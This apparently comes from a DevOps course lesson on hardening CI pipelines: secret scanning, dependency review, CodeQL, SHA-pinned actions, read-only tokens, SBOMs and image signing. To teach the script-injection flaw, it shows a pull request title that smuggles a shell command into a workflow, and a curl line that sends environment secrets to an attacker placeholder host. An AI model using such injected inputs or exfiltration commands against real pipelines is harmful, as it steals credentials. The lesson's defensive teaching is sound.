# Pipeline security: your CI is a production system

Your pipeline holds deploy keys, so attackers aim at it. Scan secrets and dependencies, run SAST, pin actions to commit SHAs, keep tokens minimal, and close script injection.

Course: [CI/CD Pipelines](https://devops.rajeev.pro/courses/cicd), lesson 11. About 40 minutes, intermediate. Source: https://devops.rajeev.pro/courses/cicd/11-pipeline-security

## What you will learn

- Explain why a CI pipeline is a high-value target, and the main ways it gets attacked
- Block leaked secrets with push protection and scanning
- Fail pull requests that add vulnerable dependencies, and audit the ones you have
- Run static analysis (SAST) with CodeQL
- Pin third-party actions to full commit SHAs, and keep them updated with Dependabot
- Keep the GITHUB_TOKEN minimal, and close script injection and pull_request_target holes
- Generate an SBOM for an image, sign it with cosign, and explain what provenance and SLSA levels add

## Why attackers aim at pipelines

A pipeline can read your code, holds your deploy credentials, and pushes to production. Compromise it
and you don't need to break into production: the pipeline ships the attacker's code for you, signed and
approved. The ways in are few, and each has a defence:

Before CI became part of production, teams often treated it as a trusted utility. But every action, dependency
and token in the pipeline can become a route into the repository or deployment account. Security starts by
reducing permissions, checking code and dependencies, and recording what was built. In this lesson, you'll add
those controls without putting secrets into the source tree.

> **Figure.** Five ways a pipeline is attacked, each with its defence. 1, a leaked secret in the repository: blocked by push protection and secret scanning. 2, a vulnerable or malicious dependency: dependency review on pull requests, npm audit and Dependabot. 3, a bug in your own code: SAST with CodeQL. 4, a hijacked third-party action whose tag is moved to malicious code: pin actions to full commit SHAs. 5, untrusted input such as a pull request title run as shell code, or a token with too many permissions: pass input through env variables and set permissions to read-only. At the centre, the pipeline holding secrets and a deploy path to production.
>
> Five doors into a pipeline, and the lock for each. Most real incidents came through the last two.

## Secrets: never in the repository

The first defence is the one from the Git course's _Security_ lesson: **push protection** rejects pushes
containing recognised keys, and **secret scanning** alerts on any already in history. Turn both on for
every repository. In the pipeline itself:

- Keep secrets in GitHub secrets or environments, never in workflow files (lesson 4).
- Prefer OIDC to stored cloud keys, so there's nothing long-lived to leak.
- Never print secrets, even partly, and don't pass them as command-line arguments.

Masking in logs helps, but it cannot protect a value that a workflow intentionally exposes. Treat every secret
as readable by the job that receives it and by the actions that job runs. Prefer short-lived identity such as
OIDC for cloud access, set an environment approval for production, and keep deployment permissions out of test
jobs. If a credential appears in Git history or logs, revoke and rotate it; removing the visible line does not
make old copies safe.

## Dependency scanning

Most of the code you ship is other people's. Check it at two moments:

```yaml
dependency-review:
  if: github.event_name == 'pull_request'
  runs-on: ubuntu-latest
  steps:
    - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
    - uses: actions/dependency-review-action@a1d282b36b6f3519aa1f3fc636f609c47dddb294 # v5.0.0
      with:
        fail-on-severity: high       # block PRs that ADD a high or critical vulnerability

audit:
  runs-on: ubuntu-latest
  steps:
    - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
    - uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
      with:
        node-version: 22
    - run: npm audit --audit-level=high --omit=dev    # check what's ALREADY there
```

```sh
$ npm audit --audit-level=high --omit=dev
found 0 vulnerabilities
```

**Dependency review** looks only at what a pull request changes, so it never blocks you for an old problem
you didn't touch. **npm audit** (or `pip-audit`, `govulncheck`, Trivy for images) checks everything, and
runs on a schedule too, because new vulnerabilities are published about packages you already use.
**Dependabot** opens the pull requests that fix them (the Git course's _Security_ lesson).

Dependency review focuses attention on what changed in a pull request. A scheduled full scan catches newly
published advisories in packages that have not changed in your repository. A finding is a prompt to assess
whether vulnerable code is present and reachable, then update or mitigate it. Pinning versions improves
repeatability, but it does not remove vulnerabilities. Make scan results visible to maintainers and decide which
severity should block a merge instead of ignoring every warning.

> **Video.** [Fix Open Source Vulnerability AUTOMATICALLY with Dependabot | Dependabot Introduction](https://www.youtube.com/watch?v=ijPoIfQWypQ&t=57s) (CoderDave)

## SAST: find bugs in the code

**Static application security testing** reads your source for security bugs: SQL injection, unsafe
deserialisation, path traversal, secrets in code. GitHub's **CodeQL** is free for public repositories:

```yaml
codeql:
  runs-on: ubuntu-latest
  permissions:
    contents: read
    security-events: write       # to upload results to the Security tab
  steps:
    - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
    - uses: github/codeql-action/init@24c54180a607b1449ed407dd24f251e4e9147c8d # v4.38.3
      with:
        languages: javascript-typescript
    - uses: github/codeql-action/analyze@24c54180a607b1449ed407dd24f251e4e9147c8d # v4.38.3
```

Findings appear under _Security → Code scanning_ and as comments on the pull request lines that introduce
them. Even simpler: _Settings → Advanced Security → CodeQL analysis → Default setup_ configures it with no
YAML. **Semgrep** is a popular alternative with readable rules (this site runs it in CI).

Static analysis checks source without running the application. It can identify suspicious patterns, but a result
needs review: some findings are false positives, and some bugs are outside the selected rules. Run it on pull
requests so a new issue is close to the code change that introduced it. Keep findings, explanations and accepted
exceptions visible to reviewers. SAST complements dependency scanning: one looks at your code, the other at the
packages it uses.

> **Video.** [GitHub: Perform Security Code Analysis in GitHub with CodeQL and GitHub actions](https://www.youtube.com/watch?v=5x0FXK0rUT0) (CodeWrecks)

## Pin actions to commit SHAs

`uses: some/action@v2` runs whatever code the `v2` **tag** points to at that moment, with access to your
secrets. Tags can be moved. In March 2025 attackers did exactly that to `tj-actions/changed-files`, a
popular action: every tag was repointed to code that printed secrets into build logs, in thousands of
repositories at once. Workflows pinned to a commit SHA kept running the old, safe code.

```yaml
# Moves when the tag moves: trusts the action's owner forever
- uses: actions/checkout@v7
# Can never change: this exact code, reviewed once
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
```

Find the SHA on the action's _Releases_ page, or ask the API:

```sh
$ gh api repos/actions/checkout/git/ref/tags/v7.0.1 --jq .object.sha
3d3c42e5aac5ba805825da76410c181273ba90b1
```

(For annotated tags, that returns the tag object; follow it with `gh api repos/<owner>/<repo>/git/tags/<sha>
--jq .object.sha` to get the commit.) The `# v7.0.1` comment keeps it readable, and **Dependabot** updates
pinned SHAs and their comments when you add the `github-actions` ecosystem. Actions published by GitHub
(`actions/*`) are lower risk, but pinning everything is simpler than deciding each time.

## Least-privilege tokens and script injection

### Keep the token small

```yaml
permissions:
  contents: read          # top of every workflow
jobs:
  codeql:
    permissions:
      contents: read
      security-events: write
```

Set the repository default to read-only (_Settings → Actions → General → Workflow permissions_). A
compromised step with a read-only token can't push code, create releases or approve its own pull request.

### Script injection

> **Figure.** Animated. A pull request title contains shell code: Fix typo, then a curl command that sends the environment to an attacker. In the vulnerable workflow, GitHub pastes the title into the run script before the shell sees it, so the script becomes three commands and the curl runs with your secrets. In the safe workflow, the title is passed through an env variable and used as $TITLE in quotes, so the shell prints it as plain text and nothing runs.
>
> The same title, two workflows: pasted into the script it becomes commands; passed through env: it stays text.

Expressions are pasted into the script **before** the shell runs it. Any value someone else controls (PR
titles and bodies, branch names, issue comments, commit messages) can carry shell code:

```yaml
- run: echo "Thanks for ${{ github.event.pull_request.title }}"     # vulnerable
```

With the title `Fix typo"; echo "PWNED: this ran as your workflow, with its token`, the script GitHub runs
becomes two commands:

```sh
$ bash -c 'echo "Thanks for Fix typo"; echo "PWNED: this ran as your workflow, with its token"'
Thanks for Fix typo
PWNED: this ran as your workflow, with its token
```

Replace `echo` with `curl https://attacker.example --data "$(env)"` and your secrets are gone. The fix:
pass untrusted values through `env:`, where the shell sees them as data:

```yaml
- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "Thanks for $TITLE"                                     # safe
```

```sh
$ TITLE='Fix typo"; echo "PWNED…' bash -c 'echo "Thanks for $TITLE"'
Thanks for Fix typo"; echo "PWNED…
```

actionlint flags the vulnerable form (lesson 2):

```text
bad.yml:6:35: "github.event.pull_request.title" is potentially untrusted. avoid using it directly in
inline scripts. instead, pass it through an environment variable. [expression]
```

> **pull_request_target runs with your secrets.** `pull_request` runs a fork's code with no secrets and a read-only token: safe. `pull_request_target` runs in the context of **your** repository, with secrets and a write token, so that it can label or comment on fork PRs. If a `pull_request_target` workflow checks out and runs the pull request's code, any stranger's PR can steal everything. Use it only for steps that never execute the PR's code.

## SBOM: know what you shipped

When a bad CVE lands, the first question is "which of our images have it?". Grepping lockfiles across fifty
repositories is slow, and lockfiles don't list what the base image brought in. A **software bill of materials
(SBOM)** answers it: a machine-readable list of every package in an artifact, OS packages included, made at
build time and kept next to the image.

[Syft](https://github.com/anchore/syft) reads an image and writes one. Here it is on shop-api's image, from a
local registry:

```sh
$ docker run --rm --network host anchore/syft:v1.18.1 localhost:5050/shop-api:1.0.44 -q
NAME                                VERSION      TYPE
busybox                             1.37.0-r31   apk
busybox-binsh                       1.37.0-r31   apk
express                             4.21.2       npm
musl                                1.2.6-r2     apk
node                                22.23.3      binary
…
$ docker run --rm --network host -v $PWD:/out anchore/syft:v1.18.1 localhost:5050/shop-api:1.0.44 -q \
    -o spdx-json=/out/sbom.spdx.json
$ python3 -c "import json; print(len(json.load(open('sbom.spdx.json'))['packages']), 'packages')"
288 packages
```

288 packages for an app with one dependency in `package.json`: the Alpine base, Node itself and express's own
dependencies. That gap is why you scan the image, not the manifest. SPDX and CycloneDX are the two standard
formats; scanners such as Grype or Trivy read either and match it against vulnerability databases, and
`docker buildx build --sbom=true` can attach one at build time.

> **Video.** [Creating SBOMs with Trivy](https://www.youtube.com/watch?v=BtICIgcnaF0&t=197s) (Aqua Security Open Source)

## Sign what you build

An SBOM says what is in an image. It doesn't prove the image in the registry is the one your pipeline built.
Anyone with push access, or a stolen registry token, can replace `shop-api:1.0.44`. **Signing** closes that
gap: the pipeline signs the image digest, and the deploy side refuses anything without a valid signature.

[cosign](https://github.com/sigstore/cosign) stores the signature in the registry next to the image. With a
key pair, made here for a local test:

```sh
$ cosign generate-key-pair
Private key written to cosign.key
Public key written to cosign.pub
$ cosign sign --yes --key cosign.key --tlog-upload=false \
    localhost:5050/shop-api@sha256:4448ccff8d227629db338796042971c23173362ab0394985c46473706d8e8b68
Pushing signature to: localhost:5050/shop-api
$ cosign verify --key cosign.pub --insecure-ignore-tlog=true \
    localhost:5050/shop-api@sha256:4448ccff8d227629db338796042971c23173362ab0394985c46473706d8e8b68
Verification for localhost:5050/shop-api@sha256:4448ccff8d227629db338796042971c23173362ab0394985c46473706d8e8b68 --
The following checks were performed on each of these signatures:
  - The cosign claims were validated
  - The signatures were verified against the specified public key
```

Now someone builds a changed image on top of it and pushes it:

```sh
$ cosign verify --key cosign.pub --insecure-ignore-tlog=true localhost:5050/shop-api:1.0.44-evil
Error: no signatures found
```

Sign the **digest**, never a tag: a tag can be moved to another image, a digest can't. The
`--tlog-upload=false` and `--insecure-ignore-tlog` flags are only there because this was a local test. In a
real pipeline, use **keyless signing**: on GitHub Actions, cosign uses the job's OIDC token (lesson 4), so there's
no private key to leak, and every signature is recorded in Sigstore's public transparency log. Then enforce it
where images run, with a Kubernetes admission policy such as Kyverno or Sigstore's policy-controller.

The SBOM can travel the same way, as a signed **attestation** attached to the image:

```sh
$ cosign attest --yes --key cosign.key --tlog-upload=false --type spdxjson --predicate sbom.spdx.json \
    localhost:5050/shop-api@sha256:4448ccff8d227629db338796042971c23173362ab0394985c46473706d8e8b68
Using payload from: sbom.spdx.json
$ cosign verify-attestation --key cosign.pub --insecure-ignore-tlog=true --type spdxjson \
    localhost:5050/shop-api@sha256:4448ccff8d227629db338796042971c23173362ab0394985c46473706d8e8b68
Verification for localhost:5050/shop-api@sha256:4448ccff8d227629db338796042971c23173362ab0394985c46473706d8e8b68 --
The following checks were performed on each of these signatures:
  - The cosign claims were validated
  - The signatures were verified against the specified public key
```

## Provenance and SLSA

A signature says who signed. **Provenance** says how the artifact was made: which repository, which commit,
which workflow, on which runner. With it, a deploy policy can say "only images built by
`.github/workflows/release.yml` from `main`", and an image built on a laptop is rejected even if it's signed.

[SLSA](https://slsa.dev) ("salsa") grades how far you can trust that record. In plain words, the build levels
are:

| Level  | What it means                                                                                                   |
| ------ | --------------------------------------------------------------------------------------------------------------- |
| **L1** | provenance exists: the build says how it was built                                                              |
| **L2** | it's produced and signed by a hosted build platform, not by a script anyone can edit                            |
| **L3** | the platform keeps builds apart and keeps the signing key away from your build steps, so a build can't forge it |

On GitHub, `actions/attest-build-provenance` creates a signed SLSA provenance attestation for an artifact or
image in one step (the job needs `id-token: write` and `attestations: write`), and `gh attestation verify`
checks it before a deploy.

> **A secure pipeline, as a checklist.** Read-only default token, permissions per job. Every third-party action pinned to a SHA, updated by Dependabot. Untrusted input only through `env:`. Push protection, dependency review, a scheduled audit and CodeQL on. Deploy credentials through OIDC, behind environments with reviewers. `.github/workflows/` in CODEOWNERS. OpenSSF Scorecard (linked below) scores a repository against most of this list.

> **Video.** [Building SLSA 3 Conforment Attestors for Artifacts Generated on GitHub- Ian Lewis & Asra Ali, Google](https://www.youtube.com/watch?v=Aq3ND6xmkyU) (CNCF [Cloud Native Computing Foundation])

## Mission: Harden shop-api's pipeline

Add a security workflow to shop-api with dependency review on pull requests, a scheduled npm audit and CodeQL, all actions pinned to commit SHAs and a read-only token. Then fix a script-injection bug actionlint finds, and prove the fix.

- You need: The shop-api repository, actionlint
- You'll have: A green Security workflow and an actionlint-clean repository

```sh
$ nano .github/workflows/security.yml     # dependency-review, audit and codeql jobs from this lesson
$ gh api repos/actions/checkout/git/ref/tags/v7.0.1 --jq .object.sha   # check each pin yourself
3d3c42e5aac5ba805825da76410c181273ba90b1
$ cat > .github/workflows/greet.yml <<'EOF'
on: pull_request
permissions:
  contents: read
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: echo "Thanks for ${{ github.event.pull_request.title }}"
EOF
$ actionlint                               # flags the injection on line 8
$ nano .github/workflows/greet.yml         # move the title into env: TITLE, use "$TITLE"
$ actionlint && echo "clean"
clean
$ npm audit --audit-level=high --omit=dev
found 0 vulnerabilities
$ git add .github && git commit -m "ci: security scanning, pinned actions" && git push
```

Then set _Settings → Actions → General → Workflow permissions_ to **Read repository contents**, and add the
`github-actions` ecosystem to `.github/dependabot.yml` so the pinned SHAs stay current.

## Try it

- Run `npm audit --audit-level=high` in a project and read what it reports.
- Add the dependency-review job from this lesson and open a pull request that adds a package.
- Replace one `uses:` line with its commit SHA and a version comment, then let Dependabot update it.
- Put `${{ github.event.pull_request.title }}` in a `run:` step and see actionlint flag it; fix it with `env:`.
- Enable CodeQL default setup in *Settings → Advanced Security* and read the first results.
- Set the repository's default workflow permissions to read-only.
- Run syft on one of your images and count how many packages came from the base image.

## Quiz

1. Why is run: echo "${{ github.event.pull_request.title }}" dangerous?
   - It is slow
   - **GitHub pastes the title into the script before it runs, so a title containing shell code runs as your workflow** (answer)
   - Titles can be empty
   - It isn't
   Why: Pass untrusted values through env: and use "$TITLE" in the script. Then the shell treats it as data, never as code.

2. Why pin actions to a full commit SHA instead of a tag like @v4?
   - SHAs are shorter
   - **A tag can be moved to different code by whoever controls the action; a commit SHA can't change** (answer)
   - Tags don't work
   - GitHub requires SHAs
   Why: In 2025 the tj-actions/changed-files tags were repointed to code that dumped secrets into logs, affecting thousands of repositories. Pinned SHAs weren't affected.

3. What does actions/dependency-review-action check?
   - Code style
   - **Dependencies a pull request adds or changes, failing it if they have known vulnerabilities of the chosen severity** (answer)
   - Commit messages
   - Docker images
   Why: It stops a vulnerable package entering main. npm audit or Dependabot alerts cover what's already there.

4. What is SAST?
   - A deployment tool
   - **Static application security testing: analysing source code for security bugs, such as injection, without running it** (answer)
   - A secret store
   - A load test
   Why: CodeQL is GitHub's SAST tool; Semgrep is another common one. They find bug patterns tests rarely cover.

5. Why is pull_request_target risky?
   - It runs slowly
   - **It runs with the base repository's secrets and write token, so checking out and running a fork's code gives that code your secrets** (answer)
   - It ignores forks
   - It can't be pinned
   Why: Use pull_request for anything that runs contributors' code. pull_request_target is only for trusted steps like labelling, and must never run the PR's code.

6. A new CVE in the qs package is announced. What answers "which of our images ship it?" fastest?
   - Reading every package.json
   - **Searching the SBOMs stored for each image** (answer)
   - Rebuilding every image
   Why: The SBOM lists every package in the image, including transitive and OS packages that package.json never names. shop-api's SBOM lists qs 6.13.0 though package.json only names express.

7. Why sign the image digest rather than the tag?
   - **Tags can be moved to a different image; a digest always means the same bytes** (answer)
   - Tags are private
   - cosign cannot read tags
   Why: A signature on a tag proves nothing once someone pushes a new image under that tag. The tampered 1.0.44-evil image had no signature for its digest, so verify failed.

## Resources

- [GitHub Docs: security hardening for GitHub Actions](https://docs.github.com/en/actions/reference/security/secure-use) (GitHub Docs)
- [GitHub Docs: about dependency review](https://docs.github.com/en/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review) (GitHub Docs)
- [GitHub Docs: about code scanning with CodeQL](https://docs.github.com/en/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql) (GitHub Docs)
- [OpenSSF Scorecard](https://github.com/ossf/scorecard) (OpenSSF)
- [CISA: supply chain compromise of tj-actions/changed-files (CVE-2025-30066)](https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-tj-actionschanged-files-cve-2025-30066-and-reviewdogaction) (CISA)
